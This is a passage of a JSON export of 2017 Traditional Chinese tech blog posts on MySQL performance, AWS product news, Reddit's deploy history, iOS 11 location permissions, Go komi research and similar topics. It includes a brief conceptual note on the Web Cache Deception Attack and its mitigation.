    "body": "作者 <a href=\"https://smalldatum.blogspot.com/\">Mark Callaghan</a> 在討論 <a href=\"https://dev.mysql.com/\">MySQL</a> 在量小的時候，新版可能反而比舊版慢：「<a href=\"https://smalldatum.blogspot.com/2017/05/the-history-of-low-concurrency.html\">The history of low-concurrency performance regressions in MySQL 5.6, 5.7 and 5.8</a>」。\r\n\r\n<blockquote>One example of the regression occurs for in-memory sysbench where MySQL 5.7 and MySQL 8 get 60% to 70% of the QPS compared to 5.6, which is the same as writing that 5.6 gets 1.43X to 1.67X more QPS than MySQL 5.7 and MySQL 8.</blockquote>\r\n\r\n其實不算太意外，因為功能愈來愈多，而且最佳化的重心都放在用量大的各種情境下。並沒有針對 single thread 時的情境最佳化...",
    "title": "MySQL 5.6/5.7/5.8 在 single thread 時的效能比較"
  },
  {
    "id": "7362",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 宣布 <a href=\"https://amazonlightsail.com/\">Amazon Lightsail</a> 多了九個地區：「<a href=\"https://aws.amazon.com/blogs/aws/amazon-lightsail-update-9-more-regions-and-global-console/\">Amazon Lightsail Update – 9 More Regions and Global Console</a>」。\r\n\r\n這次多了亞洲區：\r\n\r\n<blockquote>At re:Invent we made Lightsail available in the US East (Northern Virginia) Region. Earlier this month we added support for several additional Regions in the US and Europe. Today we are launching Lightsail in four of our Asia Pacific Regions, bringing the total to ten.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/NSuThX0.webp\" /><img src=\"https://i.gslin.com/imgur/NSuThX0.jpg\" alt=\"\" /></picture>\r\n\r\n不過這個產品還是讓人覺得很微妙 XDDD",
    "title": "Amazon Lightsail 多了一堆地區..."
  },
  {
    "id": "7363",
    "body": "看起來 <a href=\"https://aws.amazon.com/\">AWS</a> 的官方稿只有日文版的消息 (雖然老大 <a href=\"https://en.wikipedia.org/wiki/Werner_Vogels\">Werner Vogels</a> 在 <a href=\"https://twitter.com/\">Twitter</a> 上有提到)：「<a href=\"https://aws.amazon.com/jp/blogs/news/new-osaka-local-region-coming-in-2018/\">【新リージョン】2018年に大阪ローカルリージョンを開設予定</a>」。\r\n\r\n<blockquote>皆様にうれしい発表があります。AWSは2018年に大阪に新たなリージョンを開設します。</blockquote>\r\n\r\n理論上是能夠離台灣近一點，不過 routing 應該都還是從東京進去？先看看消息就好...",
    "title": "AWS 在 2018 年要開大阪區"
  },
  {
    "id": "7365",
    "body": "<a href=\"https://reddit.com/\">Reddit</a> 主要是用 <a href=\"https://www.python.org/\">Python</a> 寫的，這邊介紹了他們歷年來的 Code Deploy 系統：「<a href=\"https://redditblog.com/2017/06/02/the-evolution-of-code-deploys-at-reddit/\">The Evolution of Code Deploys at Reddit</a>」。\r\n\r\n最早期的時候 (2007 到 2010) 是用 <a href=\"https://rsync.samba.org/\">rsync</a> 更新程式碼，然後跑個迴圈用 ssh 連進去重跑：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/tp1iLJF.webp\" /><img src=\"https://i.gslin.com/imgur/tp1iLJF.jpg\" alt=\"\" /></picture>\r\n\r\n<pre># build the static files and put them on the static server\r\n`make -C /home/reddit/reddit static`\r\n`rsync /home/reddit/reddit/static public:/var/www/`\r\n\r\n# iterate through the app servers and update their copy\r\n# of the code, restarting once done.\r\nforeach $h (@hostlist) {\r\n    `git push $h:/home/reddit/reddit master`\r\n    `ssh $h make -C /home/reddit/reddit`\r\n    `ssh $h /bin/restart-reddit.sh`\r\n}</pre>\r\n\r\n2011 時因為人變多了，用 IRC 把過程丟出來 (okay，我知道你想問的問題... <a href=\"https://slack.com/\">Slack</a> 是 2013 年推出的)：\r\n\r\n<blockquote>The process for actually doing the deploy looked the same, but now the system did the work for you and told everyone what you were doing.</blockquote>\r\n\r\n另外值得一提的是，因為他們不是自己架 IRC server 而是用外面第三方的伺服器，所以他們決定 IRC 只有單向告知的功能：\r\n\r\n<blockquote>There was a lot of talk of systems that managed deploys from chat around this time, but since we used third party IRC servers we weren’t able to fully trust the chat room with production control and so it remained a one-way flow of information.</blockquote>\r\n\r\n2012 時則是把機器列表放到 DNS 上，某種 service discovery 系統：\r\n\r\n<blockquote>First, it fetched its list of hosts from DNS rather than keeping it hard-coded. This allowed us to update the list of hosts without having to remember to update the deploy tool as well — a rudimentary service discovery system.</blockquote>\r\n\r\n另外是固定的版本，而非拉 <code>master</code> 下來，這樣可以避免 race condition 的不一致性 (推到一半有人把 code 塞進 <code>master</code>)：\r\n\r\n<blockquote>Another small but important change was to always deploy a fixed version of the code. The previous version of the tool would update master on a given host, but what if master changed mid-deploy because someone accidentally pushed up code? By deploying a specific git revision instead of branch name, we ensured that the deploy got the same version everywhere in production.</blockquote>\r\n\r\n2013 往雲上搬，於是遇到像是「開新機器時剛好在 deploy 會拉到舊的 code」這種 edge case。\r\n\r\n<blockquote>What happens if a server is launched while a deploy is ongoing? We had to make sure each newly launched server checked in to get new code if present. What about servers going away mid-deploy? The tool had to be made smarter to detect when the server was gone legitimately rather than there being an issue with the deploy process itself that should be noisily alerted on.</blockquote>\r\n\r\n2014 遇到機器數量太多，推一輪要一個小時而被迫要平行化處理：\r\n\r\n<blockquote>Over time, the number of servers needed to serve peak traffic grew. This meant that deploys took longer and longer. At its worst, a normal deploy took close to an hour. This was not good.</blockquote>\r\n\r\n2015 則是加上 deploy lock，避免同時間有兩個人在 deploy：\r\n\r\n<blockquote>Engineers would ask for the deploy lock and either get it or get put in the queue. This helped keep order in deploys and let people relax a bit while waiting for the lock.</blockquote>\r\n\r\n2017 的部份則是提到了伺服器的數量：\r\n\r\n<blockquote>This new mechanism allows us to deploy to a lot more machines concurrently, and deploy timings are down to 7 minutes for around 800 servers despite the extra waiting for safety.</blockquote>\r\n\r\n看起來到現在還是維持手動 deploy，而不是自動化... 這塊還蠻有趣的 :o",
    "title": "Reddit 的 Deploy 機制 (的歷史)"
  },
  {
    "id": "7368",
    "body": "在「<a href=\"https://www.mnot.net/blog/2017/06/07/safe_cdn\">How (Not) to Control Your CDN</a>」這邊看到了「<a href=\"https://omergil.blogspot.com/2017/02/web-cache-deception-attack.html\">Web Cache Deception Attack</a>」這個攻擊方式。\r\n\r\n攻擊的手法是利用網站會把 <code>/user/personal-info/foo.css</code> 與 <code>/user/personal-info</code> 視為一樣的內容時，配合 CDN 或是 reverse proxy server 會把 <code>.css</code> 設定無差異 cache 時，就可以在 cache server (cache edge) 取得使用者的敏感資料。\r\n\r\n這主要是 url routing 的條件放太寬造成的。\r\n\r\n另外 <a href=\"https://www.mnot.net/\">Mark Nottingham</a> 還建議 cache 應該在 origin server 上控制，而非在 CDN 上設定。也就是說，在 origin server 上送出 <code>Cache-Control</code>，讓 CDN 或是 reverse proxy server 使用這個值來判斷 cache。",
    "title": "Web Cache Deception Attack"
  },
  {
    "id": "7370",
    "body": "<a href=\"https://pinboard.in/\">Pinboard</a> 收購了 <a href=\"https://del.icio.us/\">Delicious</a>：「<a href=\"https://blog.pinboard.in/2017/06/pinboard_acquires_delicious/\">Pinboard Acquires Delicious</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/IbToWuV.webp\" /><img src=\"https://i.gslin.com/imgur/IbToWuV.jpg\" alt=\"\" /></picture>\r\n\r\nMaciej Cegłowski (Pinboard 的創辦人) 本來就是一個嘴巴很「(逼～)」的人，<a href=\"https://twitter.com/Pinboard\">Pinboard 的官方 Twitter 帳號</a>一直都是很有趣的內容 XDDD\r\n\r\n這次公告的稿子裡面提到他為什麼買 Delicious 也是酸到爆炸 XDDD\r\n\r\n<blockquote>Delicious has over a billion bookmarks and is a fascinating piece of web history. Even Yahoo, for whom mismanagement is usually effortless, had to work hard to keep Delicious down. I bought it in part so it wouldn’t disappear from the web.</blockquote>\r\n\r\n然後最後面也是很傲氣的結尾 XDDD\r\n\r\n<blockquote>In December of 2010, Yahoo announced it was ‘sunsetting’ Delicious, an adventure I wrote about at length. The site was sold to the YouTube founders in 2011. They subsequently sold it to Science, Inc. in 2014. Science sold it to Delicious Media in 2016, and last month Delicious Media sold it to me.\r\n\r\nDo not attempt to compete with Pinboard.</blockquote>",
    "title": "Pinboard 收購 Delicious"
  },
  {
    "id": "7372",
    "body": "在 <a href=\"http://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到這則 tweet，說 iOS 11 將會把 Location 的主權交還給使用者控制：\r\n\r\n<blockquote class=\"twitter-tweet\" data-conversation=\"none\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">iOS 11 Privacy Updates:<br><br>2. Location “While Using” is now ALWAYS an option for users.<br><br>(It’s about time!)<a href=\"https://t.co/QW5lkGnWE9\">https://t.co/QW5lkGnWE9</a></p>&mdash; Tinfoil 2.0 ? (@tfoil2) <a href=\"https://twitter.com/tfoil2/status/872169336319782912\">June 6, 2017</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n查了對應的一些網站，可以看到好幾個站台都有介紹這一點：「<a href=\"https://www.macrumors.com/2017/06/07/ios-11-restrict-location-services-any-app/\">iOS 11 Users to Gain More Control Over Apps' Use of Location Services</a>」、「<a href=\"https://www.theverge.com/circuitbreaker/2017/6/7/15757774/ios-11-location-permissions-stricter-uber\">iOS 11 gives users tighter control over when apps can use their location</a>」。\r\n\r\n而 <a href=\"https://techcrunch.com/\">TechCrunch</a> 標題寫的更直接，其實影響最直接的就是這些 app：「<a href=\"https://techcrunch.com/2017/06/07/ios-11-adds-while-using-the-app-for-all-apps-location/\">iOS 11 stops apps like Uber and Waze from accessing user location data at all times</a>」。\r\n\r\n算是不錯的消息啦... (<a href=\"https://www.android.com/\">Android</a> 上則可以看「<a href=\"https://developer.android.com/preview/features/background-location-limits.html\">Background Location Limits</a>」，這邊是 Android O 的新功能...)",
    "title": "iOS 11 將 Location 的主權交還給使用者"
  },
  {
    "id": "7375",
    "body": "<a href=\"https://aws.amazon.com/blogs/ai/\">AWS AI Blog</a> 在月初上放出來的消息：「<a href=\"https://aws.amazon.com/blogs/ai/tuning-your-dbms-automatically-with-machine-learning/\">Tuning Your DBMS Automatically with Machine Learning</a>」。\r\n\r\n<a href=\"http://db.cs.cmu.edu/\">Carnegie Mellon Database Group</a> 做的研究，除了預設值以外，另外跟四種不同的參數做比較，分別是 OtterTune (也就是這次的研究)、Tuning script (對於不熟資料庫的人，常用的 open source 工具)、DBA 手動調整，以及 <a href=\"https://aws.amazon.com/rds/\">RDS</a>：\r\n\r\n<a href=\"https://dev.mysql.com/\">MySQL</a>：\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/5lw62Qb.webp\" /><img src=\"https://i.gslin.com/imgur/5lw62Qb.jpg\" alt=\"\" /></picture>\r\n\r\n<a href=\"https://www.postgresql.org/\">PostgreSQL</a>：\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/4CEneel.webp\" /><img src=\"https://i.gslin.com/imgur/4CEneel.jpg\" alt=\"\" /></picture>\r\n\r\n比較明顯的結論是：\r\n\r\n<ul>\r\n\t<li>Default 值在所有的 case 下都是最差的 (無論是 MySQL 與 PostgreSQL 平台，以及包括 99% 的 Latency 與 QPS，這樣二乘二的四個結果)。而且 Default 跑出來的數字與其他的差距都很明顯。</li>\r\n\t<li>OtterTune 在所有 case 下跑出來都比 Tuning script 的好。這也是合理的結果，本來就是想要取代其他機器跑出來的結果。</li>\r\n</ul>\r\n\r\n至於有些討論 DBA 會失業的事情，我是樂見其成啦... 這些繁瑣的事情可以自動化就想交給自動化吧 XD",
    "title": "用 Machine Learning 調校資料庫"
  },
  {
    "id": "7376",
    "body": "看到 <a href=\"http://yllan.org/\">yllan</a> 在 Twitter 上提到 <a href=\"https://citybik.es/\">CityBikes</a> 這個站台：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"zh\"><p lang=\"zh\" dir=\"ltr\">CityBikes: bike sharing networks around the world<br><br>哇，全世界的 bike sharing 的 API 耶，當然有 YouBike。（會不會比官方好用啊） <a href=\"https://t.co/9B2x8dhwX3\">https://t.co/9B2x8dhwX3</a></p>&mdash; 井底之蛙 (@yllan) <a href=\"https://twitter.com/yllan/status/873742430771609600\">June 11, 2017</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n把 YouBike 打進去搜尋後選台北市，可以看到是有紅色與綠色的泡泡會一直冒出來... 我猜是借車與還車？所以有提供這樣的 API 可以用？這看起來不錯耶...",
    "title": "CityBikes 的網站 (以及 API)"
  },
  {
    "id": "7377",
    "body": "前陣子 <a href=\"https://zh.wikipedia.org/wiki/AlphaGo\">AlphaGo</a> 大獲全勝後放出了五十盤自戰棋譜 (兩台 AlphaGo 自己下)，其實有件事情有點出乎大家意料，而在圍棋界被一直討論。就是在這五十盤裡，黑棋與白棋的勝率比是 12:38 (中國規則，黑棋貼 7.5 目的情況)，明顯白棋有強大的優勢。\r\n\r\n這個 7.5 目指的是，由於黑棋先下 (先手優勢)，所以圍的地會比較多，為了彌補白棋後下的這個缺點，一般都會設計「貼目」這個規則。\r\n\r\n交大資工的 CGI 團隊在上個月月底發了一篇論文 (參考「<a href=\"http://www.yss-aya.com/cgos/19x19/bayes.html\">CGOS Whole Period Ratings for 19x19 Board</a>」這邊的記錄，在有參加 <a href=\"http://www.yss-aya.com/cgos/\">CGOS</a> 的團隊裡只輸新版的 <a href=\"https://zh.wikipedia.org/wiki/DeepZenGo\">Zen</a>)，討論 value network 的新想法：「<a href=\"https://arxiv.org/abs/1705.10701\">Multi-Labelled Value Networks for Computer Go</a>」。\r\n\r\n他們對貼目的數量做了分析：\r\n\r\n<blockquote><picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/W5wKXhb.webp\" /><img src=\"https://i.gslin.com/imgur/W5wKXhb.jpg\" alt=\"\" /></picture>\r\n\r\nFor the training data, we label on output ?? as follows. For each self-play game, first calculate territory difference ? at the end of the game. Then, based on the Chinese rule, label 1 (win) on ?? for all ? &lt; ?, and -1 (lose) for all ? &gt; ?. (Note that the draw case ? = ? is ignored in this paper since the komi is not an integer normally.) For example, if black occupies 7 more points of territory than white, the ?-komi game is considered a win for all ? &lt; 7, and a loss for all ? &gt; 7. Thus, in this case, a 7.5-komi game is a loss, and a 6.5-komi or 0.5-komi game is a win.</blockquote>\r\n\r\n這個研究完全顛覆了目前職業棋手一般的理解。目前的理解是，貼 5.5 目是黑棋優勢，貼 7.5 目是白棋優勢 (所謂的大貼目時代)。\r\n\r\n接下來應該會有更多的研究出來，圍棋界會不會反思貼目規則呢...",
    "title": "關於圍棋貼目的問題..."
  },
  {
    "id": "7378",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 把名人的照片直接倒進 <a href=\"https://aws.amazon.com/rekognition/\">Amazon Rekognition</a> 訓練好了：「<a href=\"https://aws.amazon.com/blogs/aws/amazon-rekognition-update-celebrity-recognition/\">Amazon Rekognition Update – Celebrity Recognition</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/twX8DqZ.webp\" /><img src=\"https://i.gslin.com/imgur/twX8DqZ.jpg\" alt=\"\" /></picture>\r\n\r\n順便給出自家 <a href=\"https://www.imdb.com/\">IMDb</a> 的資料庫連結：\r\n\r\n<blockquote>The Urls provide additional information about the celebrity. The API currently return links to IMDB content; we may add other sources in the future.</blockquote>\r\n\r\n反正手上都有資料，順便做的感覺...",
    "title": "Amazon Rekognition 可以直接認出名人了..."
  },
  {
    "id": "7379",
    "body": "在 <a href=\"https://aws.amazon.com/ecs/\">Amazon ECS</a> 上面固定時間跑某些東西，以前得自己用 <a href=\"https://aws.amazon.com/lambda/\">AWS Lambda</a> 帶 (或是自己架，不過這樣就要自己考慮 High Availability 架構了)，現在則是直接支援：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/06/amazon-ecs-now-supports-time-and-event-based-task-scheduling/\">Amazon ECS Now Supports Time and Event-Based Task Scheduling</a>」。\r\n\r\n<blockquote>Previously, you could start and stop Amazon ECS tasks manually, but running tasks on a schedule required writing and integrating an external scheduler with the Amazon ECS API.\r\n\r\nNow you can schedule tasks through the Amazon ECS console on fixed time intervals (e.g.: number of minutes, hours, or days). Additionally, you can now set Amazon ECS as a CloudWatch Events target, allowing you to launch tasks by using CloudWatch Events.</blockquote>",
    "title": "Amazon ECS 可以跑 cron job 了..."
  },
  {
    "id": "7380",
    "body": "想要在 <a href=\"https://nginx.org/\">nginx</a> 的 access log 裡面記錄使用者在 HTTPS 連線使用的 TLS protocol 與 cipher。\r\n\r\n在「<a href=\"https://serverfault.com/questions/620123/how-can-i-let-nginx-log-the-used-ssl-tls-protocol-and-ciphersuite\">How can I let nginx log the used SSL/TLS protocol and ciphersuite?</a>」這邊有提到方向是 <code>$ssl_protocol</code> 與 <code>$ssl_cipher</code> (出自「<a href=\"https://nginx.org/en/docs/http/ngx_http_ssl_module.html\">Module ngx_http_ssl_module</a>」內的 Embedded Variables 章節)。\r\n\r\n他的方式是在前面就插入 protocol，但我希望前面的欄位保持不變，把 protocol &amp; cipher 放到後面，所以我就加了一個 <code>/etc/nginx/conf.d/combined_ssl.conf</code> (這邊我用 <a href=\"https://launchpad.net/~ondrej\">ondrej</a> 的 PPA，在設定檔裡會撈 <code>/etc/nginx/conf.d/</code> 下的設定，不確定其他的情況如何)：\r\n\r\n<pre>\r\n#\r\nlog_format combined_ssl '$remote_addr - $remote_user [$time_local] \"$request\" $status $body_bytes_sent \"$http_referer\" \"$http_user_agent\" $ssl_protocol/$ssl_cipher';\r\n</pre>\r\n\r\n然後本來用 <code>combined</code> 的 HTTPS 設定就改成 <code>combined_ssl</code>。\r\n\r\n來放一陣子再來分析，然後想看看要怎麼調整 cipher...",
    "title": "nginx 記錄 TLS 連線資訊"
  },
  {
    "id": "7382",
    "body": "<a href=\"https://tails.boum.org/\">Tails</a> 是個 <a href=\"https://www.torproject.org/\">Tor</a> 的獨立環境，可以直接用 USB 開機或是透過虛擬機上線，避免受到其他干擾而洩漏資訊。\r\n\r\n剛剛看到了 Tails 發佈 3.0 版的消息：「<a href=\"https://tails.boum.org/news/version_3.0/index.en.html\">Tails 3.0 is out</a>」，比較特別的是在下載頁面發現 <a href=\"https://en.wikipedia.org/wiki/BitTorrent\">BitTorrent</a> 的下載方式又被放回去了。\r\n\r\n前陣子本來在「<a href=\"https://blog.gslin.org/archives/2017/05/05/7294/bittorrent-%E5%B0%8D-sha-1-%E7%9A%84%E6%94%B9%E5%96%84%E8%A8%88%E7%95%AB%EF%BC%9F/\">BitTorrent 對 SHA-1 的改善計畫？</a>」這邊有提到 Tails 的團隊因應 SHA-1 的問題，在討論是否要繼續提供 BitTorrent 的問題 (因為 BitTorrent 裡使用 SHA-1 做很多事情)，當時的決議其實是暫時使用 BitTorrent 發佈：「<a href=\"https://labs.riseup.net/code/issues/12456\">Biterrant attack</a>」。\r\n\r\n不過後續的更新這樣寫，所以看起來暫時會先恢復 BitTorrent 下載的方式：\r\n\r\n<blockquote>After reading this discussion, my current conclusion is that we've totally misunderstood the impact of the attack, and that the security of our bittorrent downloads is still good enough. So I propose we revert to what we did before the 2.12 release, i.e. ship Torrents, for the foreseeable future when 2nd pre-image attacks are not realistic yet.</blockquote>\r\n\r\n回到 Tails 3.0 本身，其中比較大的改變是放棄了 32bits 的支援：\r\n\r\n<blockquote>Tails 3.0 works on 64-bit computers only and not on 32-bit computers anymore.</blockquote>\r\n\r\n然後以前要在開機進到進階選單才有的語言設定，現在變成預設就會提醒了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/MxtKNaq.webp\" /><img src=\"https://i.gslin.com/imgur/MxtKNaq.jpg\" alt=\"\" /></picture>\r\n\r\n也許該再來測試看看注音輸入法好不好用的問題了 XD",
    "title": "Tails 3.0 出了，然後又開始提供 BitTorrent 下載了..."
  },
  {
    "id": "7383",
    "body": "因為 <a href=\"https://aws.amazon.com/cloudfront/\">CloudFront</a> 也支援 HTTP/2 了，對於效能的衝擊應該小不少。另外當初希望多用點 IPv6，CloudFront 也支援了。最後看了一下自己的流量，每個禮拜大約 380MB 與 210K requests，也還能接受。\r\n\r\n就把自己的 blog 再次丟上 <a href=\"https://aws.amazon.com/cloudfront/\">CloudFront</a> 玩看看，不過這次只上了 Price Class 100 (只有歐美與加拿大)。之後也許來玩看看 <a href=\"https://aws.amazon.com/waf/\">AWS WAF</a>，不過開起來應該就跟 CloudFront 費用差不多了？XD\r\n\r\n先來看看效果以及有沒有 bug 吧...",
    "title": "把自己的 Blog 丟上 CloudFront"
  },
  {
    "id": "7384",
    "body": "<a href=\"https://github.com/\">GitHub</a> 的組織管理可以堆階層了：「<a href=\"https://github.com/blog/2378-nested-teams-add-depth-to-your-team-structure\">Nested teams add depth to your team structure</a>」。\r\n\r\n<img src=\"https://i.gslin.com/imgur/PglkmbR.gif\" alt=\"\" />\r\n\r\n<blockquote>If you're a member of Engineering and someone creates a child team called Security, team members of Engineering aren't automatically direct team members of Security. Security and all other teams nested under the Engineering will inherit repository permissions and @mentions but nothing else.</blockquote>\r\n\r\n包括了權限繼承的概念。\r\n\r\n這功能等好久了，剛好最近會用到... 本來得硬幹做，現在看起來可以比較方便的管理了。",
    "title": "GitHub 的組織管理可以堆階層了..."
  },
  {
    "id": "7385",
    "body": "<a href=\"https://stackoverflow.com/\">StackOverflow</a> 直接拿薪水戰 Tab 與 Space 的差異啊 XDDD：「<a href=\"https://stackoverflow.blog/2017/06/15/developers-use-spaces-make-money-use-tabs/\">Developers Who Use Spaces Make More Money Than Those Who Use Tabs</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/0M8zgn0.webp\" /><img src=\"https://i.gslin.com/imgur/0M8zgn0.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/KSv5a71.webp\" /><img src=\"https://i.gslin.com/imgur/KSv5a71.jpg\" alt=\"\" /></picture>\r\n\r\n這下糟糕了 XDDD",
    "title": "StackOverflow 發 Tab/Space 戰文"
  },
  {
    "id": "7386",
    "body": "開始有傳言提到 <a href=\"https://www.amazon.com/\">Amazon</a> 對 <a href=\"https://slack.com/\">Slack</a> 有興趣，想要收購：「<a href=\"https://www.bloomberg.com/news/articles/2017-06-15/messaging-startup-slack-said-to-draw-interest-from-amazon-com\">Message Startup Slack Draws Interest From Amazon.com</a>」。\r\n\r\nAmazon 手上有 Slack 的帳單 (因為 Slack 把所有站台都丟上 <a href=\"https://aws.amazon.com/cloudfront/\">CloudFront</a>)，對於 Amazon 在估算時應該會很準... 而這次出手估值約九十億美金：\r\n\r\n<blockquote>San Francisco-based Slack could be valued at at least $9 billion in a sale, the people said.</blockquote>\r\n\r\n來拉個板凳繼續看... 消息剛出來，後面應該會有一些消息可以看。",
    "title": "Amazon 對 Slack 有興趣"
  },
  {
    "id": "7387",
    "body": "<a href=\"https://aws.amazon.com/dynamodb/\">DynamoDB</a> 可以透過 console 或是 API 調整 R/W 的 capacity，但一直都沒有全自動的機制這件事情為人詬病頗久。\r\n\r\n以前都是自己用 <a href=\"https://aws.amazon.com/lambda/\">AWS Lambda</a> 或是其他架構判斷調整，現在官方直接提供了：「<a href=\"https://aws.amazon.com/blogs/aws/new-auto-scaling-for-amazon-dynamodb/\">New – Auto Scaling for Amazon DynamoDB</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/KS4Cobh.webp\" /><img src=\"https://i.gslin.com/imgur/KS4Cobh.jpg\" alt=\"\" /></picture>\r\n\r\n終於啊...",
    "title": "官方支援 DynamoDB 的 Auto Scaling 了"
  },
  {
    "id": "7388",
    "body": "<a href=\"https://aws.amazon.com/rds/aurora/\">Amazon Aurora</a> 可以 clone 複製資料庫了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/06/amazon-aurora-introduces-database-cloning-capabilities/\">Amazon Aurora Introduces Database Cloning Capabilities</a>」。\r\n\r\n而且是 COW 架構 (<a href=\"https://en.wikipedia.org/wiki/Copy-on-write\">Copy on write</a>)，所以複製出來的部份不需要額外付儲存費用，只有修改的部份才要付費，這點相當殺啊：\r\n\r\n<blockquote>A cloning operation does not incur any storage charges. You will only be charged for additional storage space if you make data changes.</blockquote>\r\n\r\n這對於「測試」這件事情變出不少變化可以用...",
    "title": "Amazon Aurora 可以 clone 了..."
  },
  {
    "id": "7392",
    "body": "<a href=\"https://aws.amazon.com/batch/\">AWS Batch</a> 支援東京區了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/06/aws-batch-is-now-available-in-tokyo/\">AWS Batch is Now Available in Tokyo</a>」。\r\n\r\n總算是在東京出現了... 在 FAQ 裡面有提到：\r\n\r\n<blockquote>AWS Batch uses Amazon ECS to execute containerized jobs and therefore requires the ECS Agent to be installed on compute resources within your AWS Batch Compute Environments. The ECS Agent is pre-installed in Managed Compute Environments.</blockquote>\r\n\r\n開起來測一些東西看看...",
    "title": "AWS Batch 在東京區可以用了"
  },
  {
    "id": "7394",
    "body": "最近在 <a href=\"http://icse2017.gatech.edu/\">39th International Conference on Software Engineering</a> 上受邀參加說明的論文，在 <a href=\"https://blog.acolyer.org/\">The Morning Paper</a> 上看到的：「<a href=\"https://blog.acolyer.org/2017/06/13/a-dissection-of-the-test-driven-development-process-does-it-really-matter-to-test-first-or-test-last/\">A dissection of the test-driven development process: does it really matter to test-first or test-last?</a>」。\r\n\r\n論文本身在「<a href=\"https://arxiv.org/abs/1611.05994\">A Dissection of the Test-Driven Development Process: Does It Really Matter to Test-First or to Test-Last?</a>」這邊可以下載，是去年 2016 就發出來的論文。\r\n\r\n論文拆解 TDD 的行為，分析到底是哪些階段才是有正面幫助的：\r\n\r\n<blockquote>Background: Test-driven development (TDD) is a technique that repeats short coding cycles interleaved with testing. The developer first writes a unit test for the desired functionality, followed by the necessary production code, and refactors the code. Many empirical studies neglect unique process characteristics related to TDD iterative nature. Aim: We formulate four process characteristic: sequencing, granularity, uniformity, and refactoring effort. We investigate how these characteristics impact quality and productivity in TDD and related variations. Method: We analyzed 82 data points collected from 39 professionals, each capturing the process used while performing a specific development task. We built regression models to assess the impact of process characteristics on quality and productivity. Quality was measured by functional correctness.</blockquote>\r\n\r\n比較特別的是作者指出 refactoring 的負面效果：\r\n\r\n<blockquote>Result: Quality and productivity improvements were primarily positively associated with the granularity and uniformity. Sequencing, the order in which test and production code are written, had no important influence. Refactoring effort was negatively associated with both outcomes. We explain the unexpected negative correlation with quality by possible prevalence of mixed refactoring. Conclusion: The claimed benefits of TDD may not be due to its distinctive test-first dynamic, but rather due to the fact that TDD-like processes encourage fine-grained, steady steps that improve focus and flow.</blockquote>\r\n\r\n在 The Morning Paper 上的註解也可以看看 (反駁論文的意見)，像是對論文使用自評系統的批評。",
    "title": "又一篇戰文：討論 TDD 的過程"
  },
  {
    "id": "7395",
    "body": "在「<a href=\"https://simplystatistics.org/2017/06/13/the-future-of-education-is-plain-text/\">The future of education is plain text</a>」這邊看到對純文字格式的推廣 XDDD\r\n\r\n作者提出了五點：\r\n\r\n<ul>\r\n\t<li>Plain text is always compatible</li>\r\n\t<li>Plain text is easy to mix and match</li>\r\n\t<li>Plain text is easy to maintain</li>\r\n\t<li>Plain text is lightweight</li>\r\n\t<li>Plain text is always forward compatible</li>\r\n</ul>\r\n\r\n是沒錯啦，把力氣專注在內容本身，而不是一堆格式上...\r\n\r\n這讓我想起 <a href=\"https://en.wikipedia.org/wiki/George_R._R._Martin\">George R. R. Martin</a> 在 <a href=\"https://en.wikipedia.org/wiki/Conan_(talk_show)\">Conan</a> 上提到他是用 <a href=\"https://en.wikipedia.org/wiki/WordStar\">WordStar</a> 4.0 寫《<a href=\"https://en.wikipedia.org/wiki/A_Song_of_Ice_and_Fire\">冰與火之歌</a>》的採訪片段：\r\n\r\n<iframe width=\"640\" height=\"360\" src=\"https://www.youtube.com/embed/X5REM-3nWHg?rel=0\" frameborder=\"0\" allowfullscreen></iframe>",
    "title": "對純文字格式的推廣"
  },
  {
    "id": "7396",
    "body": "在「<a href=\"https://heap.engineering/running-10-million-postgresql-indexes-in-production/\">Running 10 Million PostgreSQL Indexes In Production (And Counting)</a>」這邊看到 <a href=\"https://heapanalytics.com/\">Heap</a> 他們在 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 上惡搞的方式。\r\n\r\n為了效能，所以在上面建立了大量的 <a href=\"https://en.wikipedia.org/wiki/Partial_index\">Partial index</a>。像是這樣的條件 (所以其實每個都不算太大)：\r\n\r\n<pre>CREATE INDEX ON events (time) WHERE type = ‘click’ AND text = ‘login’</pre>\r\n\r\n要注意的是 <a href=\"https://dev.mysql.com/\">MySQL</a> 的 Partial index 其實是 prefix index，用以減少 index 的空間要求，這在 <code>VARCHAR(255)</code> 以及 MD5 後的欄位還蠻有幫助的。而 PostgreSQL 的 Partial index 則是指條件式，兩者不太一樣。\r\n\r\n不過他們還是有遇到「建立 index」這件事情的效能問題 (以及 workaround 的方式)。\r\n\r\n不太常看到這樣惡搞，看到這篇的時候在電腦前笑的頗開心的 XDDD",
    "title": "在 Production 上惡搞 PostgreSQL，建立一千萬筆 Index..."
  },
  {
    "id": "7398",
